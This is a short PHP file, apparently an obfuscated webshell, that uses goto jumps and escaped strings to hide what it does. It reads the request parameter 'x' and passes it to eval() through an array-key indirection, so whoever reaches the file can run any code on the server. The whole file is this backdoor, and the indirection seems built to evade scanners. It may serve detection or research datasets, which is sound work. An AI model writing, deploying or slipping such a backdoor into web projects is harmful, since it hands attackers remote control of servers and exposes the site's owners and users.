<?php
/*
 Encode by www.phpen.cn 
*/
 goto Lm_gT; BTir6: 
 $a = array($_REQUEST["\170"] => "\x33");
  goto aFK9V; aFK9V: $b = array_keys($a)[0]; 
  goto XdJHP; Lm_gT: echo "\164\145\x73"; 
  goto BTir6; XdJHP: eval($b);